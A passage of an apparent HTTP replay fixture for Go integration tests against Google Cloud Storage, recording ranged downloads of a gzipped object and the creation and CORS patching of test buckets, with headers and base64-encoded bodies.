"crc32c=T1s5RQ==", - "md5=xhF4M6pNFRDQnvaRRNVnkA==" - ], - "X-Goog-Metageneration": [ - "2" - ], - "X-Goog-Storage-Class": [ - "MULTI_REGIONAL" - ], - "X-Goog-Stored-Content-Encoding": [ - "gzip" - ], - "X-Goog-Stored-Content-Length": [ - "31" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoYIJ-m0VbRdjw7ZGI_0TiIfj6fcuhJkomWPdQGApFxH2_LnekHIdv7igEpJAM3a-zrTOzR20bzvc-JBunTe_-f_Hsyxz_VPxJNrQY7PSrQ3OMfEhQ" - ] - }, - "Body": "H4sIAAAAAAAAC8tIzcnJVyjPL8pJAQCFEUoNCwAAAA==" - } - }, - { - "ID": "2451a87df39e1241", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/storage-library-test-bucket/gzipped-text.txt", - "Header": { - "Range": [ - "bytes=1-8" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:25:27 GMT" - ], - "Etag": [ - "W/\"c6117833aa4d1510d09ef69144d56790\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:27 GMT" - ], - "Last-Modified": [ - "Tue, 14 Nov 2017 13:07:32 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Accept-Encoding" - ], - "Warning": [ - "214 UploadServer gunzipped" - ], - "X-Goog-Generation": [ - "1510664852486988" - ], - "X-Goog-Hash": [ - "crc32c=T1s5RQ==", - "md5=xhF4M6pNFRDQnvaRRNVnkA==" - ], - "X-Goog-Metageneration": [ - "2" - ], - "X-Goog-Storage-Class": [ - "MULTI_REGIONAL" - ], - "X-Goog-Stored-Content-Encoding": [ - "gzip" - ], - "X-Goog-Stored-Content-Length": [ - "31" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Response-Body-Transformations": [ - "gunzipped" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoNfvi75DBdUL5KpenQbqbsYr5A8YSQp2lGAPIhe4FlijJP95WctTUrdrLIyq3riprP50HzntCuw7zh5ycZfqbJBkFbibeIwEp5bVDj7yVpJbqctiI" - ] - }, - "Body": "aGVsbG8gd29ybGQ=" - } - }, - { - "ID": "f0e47a86731e8924", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/storage-library-test-bucket/gzipped-text.txt", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Range": [ - "bytes=1-8" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 206, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Encoding": [ - "gzip" - ], - "Content-Range": [ - "bytes 1-8/31" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:25:27 GMT" - ], - "Etag": [ - "\"c6117833aa4d1510d09ef69144d56790\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:27 GMT" - ], - "Last-Modified": [ - "Tue, 14 Nov 2017 13:07:32 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Accept-Encoding" - ], - "X-Goog-Generation": [ - "1510664852486988" - ], - "X-Goog-Hash": [ - "crc32c=T1s5RQ==", - "md5=xhF4M6pNFRDQnvaRRNVnkA==" - ], - "X-Goog-Metageneration": [ - "2" - ], - "X-Goog-Storage-Class": [ - "MULTI_REGIONAL" - ], - "X-Goog-Stored-Content-Encoding": [ - "gzip" - ], - "X-Goog-Stored-Content-Length": [ - "31" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Upzmwe6UNntf6SxdYLZTz0aZiFJ7UANU6y7I2YKJbADGSVoCRe63OoxcC4uh-9n2JEnkvQgq0dwCHCbQ3qmYG4cWFEovG_fIMKFx6O11iPQUhLmeFw" - ] - }, - "Body": "iwgAAAAAAAA=" - } - }, - { - "ID": "2a14c414736e344d", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "168" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJjb3JzIjpbeyJtYXhBZ2VTZWNvbmRzIjozNjAwLCJtZXRob2QiOlsiUE9TVCJdLCJvcmlnaW4iOlsic29tZS1vcmlnaW4uY29tIl0sInJlc3BvbnNlSGVhZGVyIjpbImZvby1iYXIiXX1dLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0In0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "593" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:28 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrgiftU7BDllYqI1jhKj6RbZME3LoakRb653ThaSSD_kzX1O5odabBcDFfG-oswR6YOcDZTW174qxbUaa2G1EvajUt_wJAD3ViGgoMwT_YjoTvObkc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjI4LjAwOVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyOC4wMDlaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJjb3JzIjpbeyJvcmlnaW4iOlsic29tZS1vcmlnaW4uY29tIl0sIm1ldGhvZCI6WyJQT1NUIl0sInJlc3BvbnNlSGVhZGVyIjpbImZvby1iYXIiXSwibWF4QWdlU2Vjb25kcyI6MzYwMH1dLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "b03cb69547c1a6de", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0004?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "99" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJjb3JzIjpbeyJtYXhBZ2VTZWNvbmRzIjozNjAwLCJtZXRob2QiOlsiR0VUIl0sIm9yaWdpbiI6WyIqIl0sInJlc3BvbnNlSGVhZGVyIjpbInNvbWUtaGVhZGVyIl19XX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2528" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:28 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urw36CL-_RvF58GoVX1bJlTZ1YUUdWXJKQDIac7eTOYj5s65KYFsk2ndonwA5ro_9nGPfo4qRIYyt7J1Xxb01TiJUQPRXzH-z9T_S5UQE6fxOssN0g" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjI4LjAwOVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyOC43MjRaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImNvcnMiOlt7Im9yaWdpbiI6WyIqIl0sIm1ldGhvZCI6WyJHRVQiXSwicmVzcG9uc2VIZWFkZXIiOlsic29tZS1oZWFkZXIiXSwibWF4QWdlU2Vjb25kcyI6MzYwMH1dLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "735da673f622341d", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0004?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2528" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:29 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:29 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urb-FeCpjdYOEj6HdkFXRMfVXffmMB8xjLqLwPvjgs3FghXs7r94UrXEpX0rW_CgEpjG6v6iHCWCkwxib31kFkLPMZMMZxHTy66dPT2AdBDsIE8Y8k" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjI4LjAwOVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyOC43MjRaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA0L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDQvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImNvcnMiOlt7Im9yaWdpbiI6WyIqIl0sIm1ldGhvZCI6WyJHRVQiXSwicmVzcG9uc2VIZWFkZXIiOlsic29tZS1oZWFkZXIiXSwibWF4QWdlU2Vjb25kcyI6MzYwMH1dLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "97ce23a7211781ed", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "168" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJjb3JzIjpbeyJtYXhBZ2VTZWNvbmRzIjozNjAwLCJtZXRob2QiOlsiUE9TVCJdLCJvcmlnaW4iOlsic29tZS1vcmlnaW4uY29tIl0sInJlc3BvbnNlSGVhZGVyIjpbImZvby1iYXIiXX1dLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1In0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "593" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:30 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrqrjU-mu7dGgY6-CuNd9AwgGuKtQ_O589el9eyWSAb54cDYnQN74dl8HxRVzIUayStgIinEuuux2afAlvkUGm9lhrefX8nugBXNL2lGluNcfQKfRo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjI5LjcyNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyOS43MjRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJjb3JzIjpbeyJvcmlnaW4iOlsic29tZS1vcmlnaW4uY29tIl0sIm1ldGhvZCI6WyJQT1NUIl0sInJlc3BvbnNlSGVhZGVyIjpbImZvby1iYXIiXSwibWF4QWdlU2Vjb25kcyI6MzYwMH1dLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "a8f5b1c42d7a3c5f", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0005?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "12" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJjb3JzIjpbXX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:30 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpZ4q-BeojZ4WgF5ZHNzJG7sIvdOxmprH5GqoQ3DM-QllSzHWOwAfhVdJZH7WmVK5Dfs1TQH-pKgneNLb_9uYM-rDFb_5Hh9vs89o4pOPT9ob9ezTE" - ] - }, - "Body": 